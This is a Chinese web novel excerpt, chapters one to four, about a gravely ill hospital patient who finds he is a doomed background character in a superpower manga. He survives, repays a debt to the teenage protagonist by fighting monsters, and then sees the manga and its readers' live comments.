《漫画主角死敌》
1. 主角
曙安医院,住院部。
病床上,夏云尹心中烦躁,祈祷有人能来救他。
要快。
他快不行了。
因痛苦而眉头紧锁,他暗骂出故障的医疗机器。
烦躁。
思绪在瞬息间变化,可孱弱的身体无法支持。
他很虚弱,不安感越来越强。那种烦闷、焦躁,开始演变成愤怒。
人呢!
医生说下午就安排手术,可四周却过分安静。机器规律的滴答声,也不知何时,不再出现。
可能是停电。但无人来处理问题,安置病人。
整个世界,仿佛只剩下夏云尹一人。
他的呼吸急促,发出嗬嗬声,面色惨白,眼前发黑。汗湿的刘海有些打卷,紧贴额头,显得他很狼狈。
他的情况很糟糕。
死亡在逼近。
这时,人的五感却产生奇妙的异动。恍惚间,夏云尹半睁着眼,小口喘气,莫名觉得:
眼前的黑色具有实体。
恶心的,带刺的,黏稠的。
它们扭动着,一一向他的心口钻去,发出蛄蛹声。
呃……
夏云尹很反感,但全身剧痛难忍。他试图呵斥,但没能出声,也无法避开。
同时,痛苦在加剧。
二者合力,消磨着他的意志,模糊他的意识。终于,那双眼完全闭合,表情也不再狰狞。
死亡,如利剑高悬,亟待落下。但是,异变先至。
住院部为保安全,将窗户固定卡死,且选材坚固。
可随着一道宛如银河天际而生的,格外耀眼的白光,耳侧传来突兀的巨响。如同巨物颠倒,在明显的震感后,整栋楼发出呻…吟。
下一秒,所有窗户应声碎裂。
画面实在壮丽,宛若荧幕巨制,银色的玻璃雨纷纷落下。
夏云尹浑浑噩噩,因光芒而暂时回神。一些碎片洒在病床上,带来异常的触感。
他的睫毛颤抖,眼睛稍睁,露出带有水雾的黑眼睛。
意识在恢复,但他无法判断现状,因为他的脑子很痛。
原本是身躯,火烧般灼热。现在是脑子,生挖般刺痛。
这是二十二年来,他头一回,真切的感知到自己的脑子。
死脑!
痛!
痛痛痛!!!
病房内。
因患病,身形比常人瘦削的男人颤抖着,不断翻滚。他的指节用力,时而抠住被单,时而陡然失力。
为缓解痛苦,显出丑态。
夏云尹没有察觉到,自己的行动居然如此自如。
因为大幅度动作,他的衣扣松散,露出完整、平坦的胸口。
刚才的黑色,似乎只是幻想。但他的脑中,却真实的冒出全然陌生的画面。
这是一本漫画,名字是《斗》。讲述在现代社会的暗面,其实存在着异能者和怪物。
普通人并不知情,因为有“界”的保护。
在界正式落下后,普通人与怪物便存在于不同的两面,无法互相影响。
可每年,仍有人无故失踪。他们往往死于界落下前,这时的怪物未完全显形,可依旧凶残。
界,并不是万能的。因此,世界需要异能者。
主角季英,便是其中的翘楚。
他模样帅气,性格阳光且善良。因为作为普通人的姐姐死亡,他在界中觉醒异能,并反杀怪物。
美强惨开局。
可他没有气馁,而是不断努力,开发异能,守护着世界。途中,会涌现出不少碍事的人。即,反派。
标准的流程。
惨啊。
不是直观的惨,而是暗戳戳的。
作为升级流,《斗》是爽的。主角团一直在变强,反派会被惩罚。作为开拓流,《斗》是稳扎稳打的。地图开得合理,主角团不会开挂起飞,或忽然团灭。
可夏云尹自认心善。他越看,越愤怒。
千疮百孔的世界,让主角救,救个毛球!
他才十八!
夏云尹天生脾气差,因长期住院,更是神经质。
他逻辑直接,且自成一体。
痛苦减退,男人彻底缓过神,面朝床面,躬身屈膝。他的双手握拳,前额贴着床单,眼睛发红,笑容因虚汗显得诡异。
他的声音阴森,沙哑异常:“不如……”
让他吃了这个世界。
尾音隐没于吞咽声。
夏云尹一愣,念头转瞬即逝,他摸向自己的胸口。
完好无缺。
他舔舔唇,感到口渴,开始梳理情况。
不知为何,他现在恢复了行动能力,但依旧虚弱。
因为漫画,刚才的困境也有了解释。
在界中,绝对存在的只有怪物和异能者。医院停电,属于排异反应。而备用电,则属于不可靠电流。
因为,这里有用电的异能者。
季英,是真正的原因。
夏云尹试图自救,他借力于床架,颤巍巍的起身。
他不想留在原地。
行动很困难,但随着呼吸,他感受到从所未有的活力。如同漏洞终于被填补,不再缺口一般。
借助隔壁床遗留的助行器,夏云尹独自站立,并慢吞吞的前行。
他离开病房,发现地面上满是碎渣。
窗户的,墙面的……
脚底传来嘎吱声,夏云尹不由庆幸鞋底够厚。
他走得慢,但一直走。
直到某一瞬间,他倏地停下,下意识地扭头,盯着窗外。破碎的窗户,唯有边角顽强,依旧完好。
他闻到焦糊味,伴着风,扑面而来。
过长的黑发向脑后收拢,露出夏云尹出众但病态的脸,还有他略显呆滞的神情。
他仰着头,望向碧蓝晴空中,不久前自己错过的白色电光。点亮世界一样,紧接着的是似在愤怒的巨响。
季英正在战斗。
这是第一话,主角面对的怪物攻击低,但血厚。
所幸,季英的异能不错,他的能力与电流相关。
因为对电流的感应,使他察觉到备用电,在彻底觉醒的同时,借其重创怪物。
险些,主角开局就寄。而夏云尹,则是倒霉。
正常电流被排异,已有的备用电却被异能者带走。
正因为在界中,常规、正常的存在太易变,才显露出它们的不可靠,更彰显出异能者的重要性。
所有的恰好,造就唯一的意外:
夏云尹。
他可能本身具有天赋,或是其他原因,使作为病人的他,也出现在界内。但他并未觉醒异能力,而是在原剧情中,直接挂了。
最后,他被判定为疾病突发,默默死去。
太倒霉了。
夏云尹驻足不动,目光留恋于空中的绚丽。他吐出口气,觉得自己的背后已被汗水浸湿。
四肢疲惫,但头脑清醒。
因为季英的出现,不幸的他差点死于事故。但濒死时,是季英的电光暂时唤醒了他。
而就结果而言,他还活着。
明明扯平了……
可是!
目前这个界中,有能力杀死怪物的,只有季英。正在躲避战斗的成年的他,与正在奋战的高中的季英……
两者相比。
夏云尹的表情空白,脱口而出:
“逊毙了。”
人情欠大发了。
夏云尹收回目光,再次抬脚。助行器触地,发出笃笃声。他垂着脑袋,回忆漫画:
那些画面里,并没有他,因为他是一次性的背景板。
肌肉酸痛,汗水滴落,正巧落在手背,又迅速滑落。夏云尹并不在意,一心想着漫画。
尤其是,主角。
这时,正在战斗的主角,并不知道界中还有其他人。
暴怒,恐慌。
季英的眼中只看见怪物,他悲伤于这个空间里,除去自己,只有怪物。
他没看到其他人,这里就是地狱。但事实上,在地狱里,有人正想着他。
他在注视他。
正因“注视”,弹幕作出了回应。
【加!油!啊!!!】
文字是无声的。
在夏云尹面前,忽然弹出一条条文字框。那些独立的文字们,颜色各异,内容各不相同。
夏云尹注视前方,脚下不停。文字框也不停止,不断跳出。
【不要放弃!】
【这怪物的血也太厚了,管理局怎么还不来人?】
【界都落成多久了,还不救人!】
【英啊、撑住!】
……
担心,鼓励,恼怒。
情绪,正以一种奇妙的形式,出现在他面前。
他们是读者。
夏云尹觉得今天真是奇妙。
先是发现自己是漫画炮灰,再是莫名幸存,现在又看到了……
漫画留言,弹幕?
实时的?
很明显,读者们正在看季英,关注着剧情。不知所云的内容也有,但很快就被淹没。
夏云尹直接无视。
他的目光,被更耀眼的文字吸引:
【最后一击!】
【ohhhh】
感知到他们的快乐,夏云尹也不由高兴。
明明他们没在看他,甚至看不见他,但夏云尹依旧开心。
他对情绪的感知很敏锐,住院的生活使他变得敏感、善变。而现在,夏云尹直观意识到,自己已经脱离原定的命运。
没有死亡。
不再是可有可无的炮灰。
他能看见读者的文字,而主角就在不远处。
夏云尹没有帮手,也无人帮他梳理情况。他没有目标,没有任务,没有助力。
但他活着!
原因?
他不在乎。
这是事实,谁能否认,谁能推翻。
他很幸运。
三楼,楼梯口。
夏云尹刚好走过,窥见大开着的电梯口。
电梯井阴风阵阵,血淋淋的,还散发着腥臭味。
他垂眸,两手拿开助行器,踉跄了一下后,又站稳。夏云尹弯下腰,尽可能地鞠躬,表示哀悼。
这里的死者,姓季。
片刻后,他才踏上楼梯,向天台前进。弹幕并不是错时的,而是实时:
【哭了。】
【没事、大声哭!哭不是罪!】
【呜哇啊啊啊——】
【想姐姐555】
【我也是(大哭)】
夏云尹发现自己如同幽魂,游走在漫画的外围。
他不入画面,无所事事。可是,夏云尹欠季英
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一个人情。
“主角,背景板来还人情了。”
他自言自语,在主角还在哭泣时,终于抵达天台。
天台风大。
夏云尹套着捡来的白大褂,逆着风前进,走向昏暗的角落。他的脚步很轻,呼吸声近似于无。
为了保持安静,同时行动便利,夏云尹没用助行器。
他化为捕食者,凝神专注,嘴唇微微抿起。但在视野内出现目标的一刹那,他周身的气势一变。
由警觉,化为自得、淡然。
苍白的嘴唇忽然上扬,夏云尹露出真实的笑容。
找到了。
墙角处,一个异常矮小的中年男人兀自蹲着,抱头抓头发。他很焦虑,正在不安的碎碎念:
“怎么可能,怎么可能。”
他不敢置信,眼睛发涩:“他才刚觉醒,这可是最有用的怪物,怎么办、怎么办。”
男人的左手正抓着一枚铁钉,漆黑发亮,分外细长。
这正是管理局至今未到的原因。
夏云尹悄然靠近,面上笑容不变,但笑意未达眼底。
就是这枚黑钉,关闭了外人进来的通道。
而中年男人,实际上,是奉命行事。
有人想除掉不自知,却有着卓越天分的季英。可是,死亡的是季英的姐姐,季木眉。
仇已结下。
凶手算是主角面对的第一个大反派。而天台的中年人,则是凶手操控的刀。
夏云尹不再刻意收声,而是如常行走,动作加快。
因为,中年人是聋子。并且,他因失败而慌张,清醒濒临崩溃。
夏云尹的身体有所恢复,但依旧体弱,不比同龄人。但中年人的体格,也远差于同龄人。
漫画有给过他正面画面,皮包骨的男人,身形佝偻,畏畏缩缩。
因为耳聋,感知力差。
而如今的夏云尹,意外擅长噤声,屏息。
目标很弱。
这样的人,明明干坏事不留手,却不会自己出马。
第一个怪物,输了。
那就……
忽然,他的鼻息加重,飞快探向衣服夹层,恶狠狠的说:
“第二个!”
他不信,这小子这么好命!
声音破音,尾调尖细,仿佛在拉扯一样。
他打算孤注一掷。
可在同一瞬间,中年人刚拿出甲虫形状的罐子,一只手就死死抓住了他。
那是一只过分苍白的手,上面血管青紫,显得恐怖。
可那力道,竟大得出奇。
骨头生疼,中年男人吃痛,甚至觉得手骨已经断裂。
要被捏碎了。
但手的主人,如鬼般出现,如鬼般强势。
“唔!呜呜呜!”
口中一痛,传来冰凉的触感。
痛呼秒变呜咽,中年人的视线下移,盯着自己口中的罐子。他的脸色唰得发青,哆哆嗦嗦,满眼惶恐。
思绪混乱。
这个人,把藏有怪物的罐子,塞入了他的口中。
啊!
泪水直流,发黄的牙齿发颤,但不敢用力。
他想抬眼,想看看这个人是谁。可对方似从他的惊恐中有所察觉,笑吟吟道:
“看样子,这东西并不坚固。”
明明这么说着,对方却继续用力,加深了男人的惊慌。
这是恶鬼!
中年男人不解。
他耳聋,但懂唇语。可他刚才没有看见,并不知道对方怎么说。
但他不想死!
中年男人张大嘴,鼓足勇气,视线上移。
情绪也在作祟。
他注视着对方,明明这么近,他却觉得飘忽。
冷汗直冒。
恶鬼开口:“你说,怪物会从你的口中爆开吗?”
“!!!!”
什么外貌!
什么反击!
中年男人的脑中一片空白,甚至不敢求饶。
他想逃,但这个怪物的力气太大,他只能原地挣扎。
惊惧万分,突然,桎梏消失。
中年男人连退数步,不敢停下,生怕又被抓住。但这里是天台,他一时没有注意距离,更没收住脚步。
坠落感产生的瞬间,中年男人居然松了口气。
然后,他发现罐子不在了。黑钉,也不在了。
天台上。
夏云尹并不在意中年男人的死活,异能者不易死,而且,会有人愿意救他的。
他撇撇嘴,嫌弃的看着自己顺来的东西。他用地面上不知名的布料,勉强将罐子裹了起来。
白大褂他还要还,病服他还要穿。
大风再起,白衣飞舞。黑发男人注视着远方的树林,双目空洞。
绿茵茵的树林,只有一处,格格不入。
那是战斗的地方。
因为数次雷击,树木倒塌,枝叶枯焦,斑驳不堪,可以直观的看出当时战况的激烈。
“真是称职的……主角。”
语毕,手一用力,看似坚固的黑钉折成三段。
通道打开。
界外,正打算强制闯入的治安局分队,最快发现的领头人当机立断。
邓七元:“医疗班排在第二梯队,救助患者!”
他面容坚毅,声音洪亮:“我们上!”
2. 恩情
操刀鬼。
刀。
夏云尹深知,自己是在影响原剧情。
因为畏惧,刀使用了最后手段:再放一个怪物。
但他的恐慌,让本性凶恶的怪物,蠢蠢欲动。因此,当体型诡异,两臂长直,似有羽翼的怪物出现时。
不详的红目,看向操控者。
……下一个,才是季英。
主角早已精疲力尽,且悲痛啜泣,反应慢了半拍。他察觉到异样,抬头——
与死者对视。
怪物口中,衔着半截身躯,罪人得到惩罚。
季英看到血,好多血。怪物自上到下,俯瞰着他,口中血如雨下。他勉强避开攻击,但还是伤到了左手。
所幸,管理局到了。
得救后,季英也因体力不支,陷入昏迷。漫画第一话,到此结束。
夏云尹拿着罐子,享受着风,等待着管理局到来。
黑钉已断,通道已开,他的恩情也还了。主角没有受伤,罪人将活着得到惩罚,完美。
夏云尹看着楼下的身影,摇摇晃晃,但行动正常。
男人左顾右盼,但不敢回头,一味地向远处奔逃。普通的攻击,对异能者几乎无用。
夏云尹的眼中涌现困惑,他想到刚才的自己:
恶意。
大胆。
他行动时,完全没有面对异能者的恐惧,或是忌惮。更甚至,他在期待。
隐秘的,阴暗的。
他想看看……
如那道天际的白光,出彩的存在。
更多!
夏云尹握拳,忽然一怔,不敢相信的看向自己的手臂。
依旧苍白。
但是……
“肌肉、真的。”
他捏捏,敲敲,感受着早已忘记的健康。
他无法保证自己觉醒了异能力,完成了自愈。因为濒死时,那种异样太真实。夏云尹沉默半晌,忽然开口,语带喜意:
“太好了。”
在圈内人看来,让一个重病者突然变得康健,甚至强健。十有八九,就是异能力。
但夏云尹的情况,更像是自愈。
圈内人也无法断言一个人的异能力,只能观察,再判断。万物皆有可能,不要小觑任何异能。
夏云尹张开手,在原地蹦跶。
他打算下楼,找个地方等待救援,离开这个界。自愈的现象,使他的存在得到解释。
他是异能者。
在界中觉醒能力,并避开怪物,躲藏至今。管理局甚至会为他隐瞒,向医院遮掩他不治而愈的实情。
因为他是异能者。
夏云尹大笑,常被人悄悄关注的面容,更加夺目。他明白,这必须不是谎言。
否则……
他将面临真正的苦难。
因大笑,他的面色发红,唇色不再惨白。
离开界,离开圈内人,他即将自由。
因心情愉悦,夏云尹动作轻快,自天台回到三楼。
管理局应该已经到了。
他们会先注意到战斗痕迹,从而找到季英,再进行搜查。夏云尹只要坐等。
当他经过走廊时,从窗口,正好看到仓皇的背影。他本想无视,却发现自己无法挪开步子。
那个人已经累了,骨头断了,如同坏掉的木偶。男人就在视野内,以一种极慢的速度,缓缓远离。
但夏云尹察觉到不妙。
他太关注外面,没有意识到自己正扶着窗框,双手流出鲜血。碎片锋利,但感到刺痛的,却是夏云尹的眼睛。
他看到,有熟悉的黑色,在男人的四周流溢。
“不……”
男人和夏云尹,同时出声:
“先生,放过我!”
“……不能过去。”
那个方向,是树林。
那里有季英。
男人的异能可以制造罐子,能够束缚怪物。但他无法击倒怪物,更别提活捉,也无法自由操控。
因而,他只能充当运输者。
而为得到上头的赞许,得到更多利益,男人制造了独一无二的“罐子”。
自己。
控制权,属于操刀鬼。
若男人死亡,怪物也会消失,原剧情中,便是如此。可现在……
“不、不不不!”
男人后悔了。
可在夏云尹眼中,黑色已经完全将其笼罩。果然,下一秒,男人发出哀嚎,自口中,伸出一只手。
它很美丽,在离开罐子的过程中,举止优雅。正因动作缓慢,男人在死前感受到了最多的痛苦。
绝对,比季木眉多。
必须。
整个过程,看似很久。但实际上,自怪物出现,到站在血泊中,只用了三秒。
怪物的头发披散,如卷卷黑花,体型似人,有些干瘦。它没有停留,而是转身,继续向树林走去。
夏云尹:“…………”
怎么办?
他思考着,身体却率先动起来,他翻过窗户,不顾高度往下跳。全身砸在草丛里,夏云尹不在意的摇头,迅速起身。
他往前跑。
怪物往前走。
它是意外,难道主角注定会受伤吗?
他做错了。
夏云尹看到了弹幕,故事接近尾声,但仍在继续。危机还未结束。
他想阻止,避免事态愈发不可控。但怪物看似慢悠悠,却越走越远,距离在拉开。
罪人死了。
如果季英再受伤,甚至更糟,那就完了。
夏云尹边跑,边想:
你在干什么!
如果主角出事,漫画怎么继续?
你来嘛?
背景板!
“吵死了,吵死了。”
夏云尹在医院独处时,很喜欢自言自语。因为他脾气差,反而和自己说话最放松。
他本可以当不知道,就这么等管理局处理。可是——
“我还没还完人情。”
灵光一闪。
夏云尹掏兜,从里面取出顺来的罐子。它是甲虫的形状,泛着深蓝的光,并不刺眼。
他不了解远处的怪物,但他懂这个。
掌心靠着罐子,还未凝固的血液流淌,呼唤着里面的怪物。从细微的抖动中,夏云尹知道,它醒了。
他似在安抚,又似在威胁:“乖乖的。”
这是机会。
他不能失败。
树林内。
管理局正在部署,领队是邓七元,执业七年。他毕业后,就根据推荐,加入了管理局。
实际上,邓七元是个公务人
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员。管理局在普通人社会中,也是合法的。
这个界有问题,因此在通道突然打开后,邓七元主动打头阵。
他更厉害,遭遇突变时能够随机应变。而医疗部,需要绝对的安全,他们是界内伤员的希望。
可在他们顺利进来后,却发现怪物已经消失了。是一个刚刚觉醒异能,就读高三的男生打败了怪物。
邓七元:“厉害!”
他五官端正,双目炯炯有神,正如星海。
邓七元走到季英面前,拍拍后者的肩膀,自然地拉近距离:
“你做的很好,很厉害的活下来了!”
他拔高音调,让表情空白的少年也听了进去:
“你会更加厉害的!”
“不管是我,还是别人,都相信你!”
话音落下,甚至有回声。
队伍内,有人扶额:“太吵了。”
有人附和:“是啊,但习惯了。”
因为力道,季英有些回神,但还是不在状态。不论是精神,还是躯体,都很痛。
刚才,他大哭一场,现在脸上满是干涸的泪迹,眼睛通红。
稍作休整后,季英坐在别人准备的软凳上,裹着毯子,默默观察着这群陌生人。
管理局。
他们奔波于这种奇怪的空间,与不同的怪物战斗。
季英想到怪物,不适的闭眼,又很快睁开。
自己是异能者,因此出现在怪物面前。而姐姐……
季英深深地吸了口气,泪意再起,但耳旁传来脚步声。他抬起头,看向声音的来源……
“!”
顷刻间,全身脱力。异样,吸引了人们的注意。
因为他们整齐一致的停顿,时间如同静止般。同一时间,每人的面前探出相同的手。
空间折叠。
唯一作出反应的,是邓七元。他早已拔出了自己的剑,但第一剑,却率先挥向最近的同伴。
唰!
剑光一闪,同一方位的四人得救。
邓七元继续挥剑,他自己面前的手,也在不断靠近。他表情不变,继续攻击。
他是领队,当然不会放任自己死亡,留下同伴。
但这个不速之客很强。
他的脑中不断闪过同伴们的脸,他屏息,将涌起的悲意强制压下。
太过熟悉。
随之而来的,是冰冷的愤怒。邓七元只想在极限前,多救些人。
他!
还不够强!
而就在邓七元即将改变剑势时,高处传来破空声。
空中,怪物扇动双臂,将林中的闹剧收入眼底。它的指尖染着鲜血,下身成螺旋状,嘴中咬着什么。
季英神情恍惚,仰着头,努力辨认。数秒后,他明白了。
“是人……”
少年原本灿烂的金发变得暗沉,瞳孔放大,他忘记了自己也命悬一线。
这个人,还活着吗?
下一秒,怪物口中,原本一动不动的人猛地一弹,侧头看了眼地面。
他一顿,随后出声,声音癫狂:
“真好!哈哈哈哈!”
他肯定受伤了,血自空中落下,几滴正好落在季英脸上,触感潮湿且温暖。
季英听到,这个男人的声音:
“真乖!”
3. 异能
“……好。”
邓七元出剑时,面上涌现出喜意,眼中翻涌着疯狂。
是第二只怪物。
下一秒,异能发动。
剑身迸发出白光,泛着同色的光晕。
他回身,借力一挥,剑身倏地抽长,且变得柔韧。剑身如曲曲流水,行踪诡秘,但精准的缠住几人的腰部。
共有六人,五人都是医疗成员,第六人是季英。
“队长!”
邓七元:“回神!”
闻言,成员们的状态一变,纷纷用出异能。他们如燕雀般,动作迅捷,远离这片区域。
空间折叠并未再现。
因为有入侵者。
人形怪物头部前倾,黑发摆动,不断发出尖利的叫声。
刺耳、难听。
它在驱赶上空的飞天怪物。
猎物在远离,但本能督促怪物先解决对手。它们不懂分享,驱逐同类是第一条件。
空中,飞天怪物也试图回应,但口中的人还未死透。
“哈、哈……”
虚弱的喘息声,自口中溢出。左肩完全被咬穿,鲜血直流,弄脏了衣服。
啊,希望管理局能准备件新的。
飞天怪物加大力度,想彻底咬断口中之人,去解决下面的同类。但是,夏云尹做出了回应。
因为失血,他先是疼痛,很快又感到麻木。而当风吹开他的发丝,将一些血吹入他口中后……
夏云尹“醒”了。
他进入了某种不明的状态中,感到亢奋、清醒。
当他扭头看到人群中,那抹亮眼的金色后,计划成功的雀跃无法掩饰。显得癫狂、精神崩溃的男人,此刻明显不正常。
下面的人听不见,但他在轻笑。
管理局并未出手,任谁看,夏云尹死亡都只是时间问题。
邓七元要为成员的命负责。
他们分散的站在外围,关注着两个怪物对峙。
打起来……
快点……
相争吧!
除去季英、夏云尹,所有人都有着同一个念头:
争斗吧!这里是你们的斗场!
《斗》的名字,由此而来。
明显被放弃的夏云尹,歪着头,血沿着动作飞散。他如同破布般,缓缓扭头,看向面前的怪物,但丑陋的怪物没看着他。
只见将死的男人慢慢地抬起右手,左手也轻微晃动,但并不灵活,最后啪的落下。沾满血的右手伸向怪物,霎时间便被黑雾缠上,将其拉扯进去。
就在这时,看似残损的手猛的用力,似在嫌弃般,大力抽出,带出黏连着的黑雾。在恢复自由后,又重新向怪物靠近,动作迅疾,直冲那只猩红的眼睛。
“噗呲!”
怪物:“啊啊啊啊!”
人类搅动着怪物的眼睛,身上混杂着两者的血。
他只记得一件事:结束这一话。
还了人情,让自己心安,如果到时候他还活着……
就自由了。
怪物松口,左肩的压力减弱,血汩汩流出。
意外实在太多了。
邓七元很感谢忽然出现的另一只怪物,因为它,队伍没有出现伤亡。
他不知道这个陌生人在这件事中,处于什么位置。不管怎样,他确实选择了放弃这个人。
所以当那个举止奇异,如同血人的人失去支持,直直坠落时,他下意识挪动了步子。然后,邓七元摸到冰凉的剑,在异能结束后,它恢复了原本的形状。
他下意识收回脚步,没有人发现,他刚才的异样。可当邓七元后退时,他的余光,注意到流动的金色。
是那个高中生。
季英不懂管理局,但他注意到这个人还活着,并且求生欲很强。明明被怪物抓住,但依旧在奋力挣脱,寻求生机。
金发蓝眼的少年的身侧冒出电光,滋滋作响,他的动作忽然加快。
夏云尹没有察觉,他在坠落时,觉得四周很安静,仿佛回到了空无一人的病房。
他觉得这里不愧是漫画,虽然对他而言,是真实的世界。但怪物、异能者,怎么想都很不寻常。
【】
夏云尹看见了文字框,追着他下落,正好在他面前。但他看不清……
【】
忽然,夏云尹听到了滋啦声,紧接着,撞击感传来。
是不同的痛感。
他感到温暖,下方似乎压着什么,坠落带来的痛楚减轻许多,反正远比不上身上的伤口。
对峙打破。
率先动的是没有受伤的人形怪物,它伸出手,正对摔作一团的两人。
空间——
数不清的手环绕在两人四周,危机四起。
季英反应较快,他迅速起身,不慎掀翻了夏云尹。下一瞬,他抱住了夏云尹,用自己充当防护。
夏云尹:“……”
不!
虽然他觉得自己的命很有价值,但你太客气了。
在地上的夏云尹迷迷糊糊,尝试挣扎,想推开这个金发主角。
救救!
主角开启了牺牲流的剧本!
正好的时机,早在预谋的攻击。如月光般的剑光袭来,将那些手全部卷入。斩击利落,断手一一落地,发出闷响。
邓七元未停手,而是冲出去,直面人形怪物。他死死的盯着怪物,后者完全没有慌乱,它伸出双手,烦人的空间再次出现。
如同盛宴般,它们热情地迎向邓七元,但在触碰到他前,又是一道闷响。
头颅滚地。
下一瞬,犀利的剑技再现。余下的躯干和分开的头颅,被分成块,越来越小,直至怪物消失。
邓七元并未收剑,长吁一口气,眼神如剑光般锐利,随即手腕一动,剑身调转方向,直至高空。
还剩一个。
夏云尹心想,庆幸主角没事,管理局还是有本事的。
“呃!”
他忽然痛呼出声。
夏云尹无法动弹,但还是看到了肇事者。经过一番折腾,力竭的主角终于如断电般,昏了过去。
并且,正好砸在了他身上。
当然了,因为之前这个人就在他上面,打算挡刀。
夏云尹:“…………”
他沉默。
在解决一个怪物后,管理局齐齐上阵,对战飞天怪物。它已经恢复伤势,但面对重新振作的队伍,很明显不是对手。
医疗部也围上来,其中有人在小心观察夏云尹的情况。
说是血人都是好话了。
他不能理解,这个人为什么还活着,眼睛黢黑,满是平静。
根据之前这个人的举动,他们还以为这个人精神崩溃了。有些人在界中确实会有这种情况,往往是第一次觉醒,或是从未见过怪物。
他在心中嘀咕,但当他取出仪器,再次看向夏云尹后,当即愣住。他用力抓住同伴,声音抖得像筛子:
“他闭眼了。”
死了?
同伴下意识接手,靠近夏云尹,动作小心的确认,许久后,她的表情变得凝重。
因为同伴的反应,不安加重:
“怎样?”
同伴沉吟片刻,说:“睡着了。”
“……”
啊?
确实是睡着了,但也可以说是昏迷。
确认情况的医疗成员没有说清楚,她觉得,这个人是因为某种刺激,陡然陷入了沉睡。
嗯……
是什么呢?
夏云尹想说,不要靠近用电的异能者,尤其是新手。
这小子漏电啊!
……
再次苏醒时,夏云尹觉得自己进入了轮回。
他又回到了病房
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中。
重新换上病号服的夏云尹侧过头,看向一早就在床边的客人。邓七元削着苹果,注意到夏云尹醒后,主动问好:
“你好,我是邓七元,是……”
很长的自我介绍。但他的刀功也不错,皮就没断过,果肉也很完整。
夏云尹欣赏着苹果,挑着信息听他说话。
说实话,夏云尹对这个人无感。
因为这家伙选择了放弃他!
但最后也救了他!
夏云尹刚生气,一下子又平静了,一时间面无表情。
扯平了。
而且他自己打开罐子,放出怪物,也解了对方的燃眉之急。
夏云尹接过邓七元递来的苹果,没有吃,但心情好了很多。可接下去,他捕捉到了一个词:
“学校?”
“对,是我之前就读的学校。”
邓七元看着面前的年轻人,单看外表,夏云尹属于气质型。
五官依旧出色。
可当他面对怪物时,那种蓬勃的、向上的生命力与战意,与现在的人完全不同。
再次穿上病号服,如同穿回出场原皮肤,刚失血过多,看似病弱、脆皮的夏云尹:
“我也能去?可我只有高中文凭。”
因病辍学。
他其实也不觉得自己还能再去继续学业。但他知道邓七元口中的学校,主角就去了这个学校,继续高三生活。
邓七元:“当然可以,不过外面的社会对……文凭,有些严苛。”
虽然他的工作危险,但待遇不错。
可在全国内卷学历的现下,异能学校的文凭就不够看了。
毕竟明面上,大多学校都不太入流。比起更加正规,招生更多的正常学校,他们实在不太行。
夏云尹点点头,表示自己不在意。
但邓七元忽然欲言又止,踌躇一下,又很快做出决定:
“你现在二十二岁,入学去大学部,也有些……超龄。”
二十二岁的夏云尹:“……”
嘶。
少年漫里的二十二岁。
他忽然有些紧张,因为很明显,他已经不在“少年”这个范畴里了。
但既然邓七元给出了想法,当然也准备好了解决措施。
“我和校方争取,让你作为新生入学,从大一开始。”
他继续说:“你可以在校内学习适应自己的异能力,如果愿意,你也能提前毕业,选择自己喜欢的生活方式。”
异能者的学校对于突然觉醒的个体而言,其实规矩不多。因为多数原本生活在普通社会的异能者,最后还是会选择回去。
条件很自由。
夏云尹注意到邓七元的态度,很明显,他在补偿。
因为他确实在当时没去救看起来快挂了的夏云尹。邓七元是好人,但依旧在异能社会的体制内生活。
另一个原因……
在临走前,打扮得体,看起来完全没有用剑时的锐利感的男人回首,笑容自然:
“你的能力,可以治愈别人吗?”
“喀嚓。”
夏云尹咬了口苹果,回答:“不能。”
当然不能。
他确信,自己压根就不是异能者。
但他还是选择以超龄的情况,加入大学部。
超龄的少年漫背景板吃着苹果,不管离开的探望者,明明在医院,却有种在家的自在感。
夏云尹:“感觉自己像主角的背后灵。”
他又要去找主角了。
还人情。
顺便问他电人的感觉怎么样。
他吃着苹果,嚼着嚼着,突然一噎,瞪大眼睛看着突然出现的文字框。
上面写着——
【全新漫画《斗》!第一话上线!快来关注一下吧!】
啊?
啊??
4. 漫画
开场,是曙安医院。
第一页,最上方的三个格子,是晴天、医生、电梯。剩下的画面,属于季木眉。她的金发更深,偏向金棕,瞳色如同深海。
姐姐站在电梯口,等待慢一拍的弟弟。
“小英,快点。”
第二页。
滴。
提示响起,电梯打开,里面空无一人。
“快一些。”
她望向跑来的弟弟,自己先一步迈入电梯间。下一秒,笑容僵住,目光不自觉上移。
第三页。
镜头正对着季木眉。
与上一幕不同,她的眼睛不再清明,满脸不敢置信。她在恐惧,下意识往后退,脚步后挪。
镜头很高。
以一种恶劣的角度,完整的将季木眉纳入画面。
漫画家并不吝啬。他用整整三页,让剧情从日常奔向怪诞。并且,最大程度上,用透视使画面变得开阔。
这是“怪物的视角”。
也是“读者的视角”。
再翻一页,才是漫画家准备的封面:
正对应剧情。
少年直面冲来,右手前伸,如同在呼唤画外的读者。但他的金发散乱,神情无助。
画面两侧,是反光、正在闭合的电梯门。读者们能窥见,里面的姐姐同样在伸手。
你狠。
我恨。
夏云尹翻身下床,打开窗,将头挤出窗外。
今日大风。
“呼,不生气,都是看过的内容。”
他压下怒意,再次点开文字框,来到漫画界面。目前只有一话,他点击“继续阅读”。
所幸,接下来的内容与他记忆中的相同。因为曾看过一次,夏云尹的承受能力高了一点。
但是,只有一点点。
如鲠在喉。
夏云尹未察觉,自己可能是不吃刀子的体质。
心在泣血。
他硬着头皮,继续看。看主角打败了第一个怪物,遇见管理局。
平静短暂,第二只怪物出现,危机再起。然后……
漫画中,风得以具象化。自远处而来的不详黑翼,不断扇动,带着敌意袭来。
下一页,高空的怪物出现,露出全貌:
头颅尖细,下身扭曲,冒着让人心惊的黑气。
夏云尹:“……嗯、嗯?”
他明白,自己更改了剧情,并且对应到了漫画上。
但是,漫画家是什么情况?
漫画家笔下的虚拟世界,为什么与夏云尹生活的真实世界相同?
谁是真的,谁是画皮?
夏云尹完全忘了,自己当时在怪物口中。而同一时间,读者A也看到这一幕。
《斗》主题就是“争斗”。
不管是界内,还是界外,都无法平静。
读者A盯着屏幕内的怪物,感叹道:
“不愧是《吊死神理》的作者,画工真好。”
老作者的画技有保证,但是不改恶趣味。
“太狠了,还叼着死人来。”
鲜血滴在季英的脸上,少年俊秀的面容变得诡异。
有些冲击感。
嘶……
她刚想截图,却手滑点到下一页,目光被吸引:
染红的衣服贴着肌肤,显示出他的身型。清瘦,但有着肌肉,是一款符合审美的帅哥。
因为血迹,他的五官不清晰,但那轮廓一看就不是随便画的。
感谢。
她果断截图,然后看到画面一黑。
那是一整页的黑色,而正中央,是绕成圈的白线。在注视下,不规则、凌乱的白线,似在晃动。
【真乖。】
画面一变,男人侧头,头发垂下,露出眼睛。
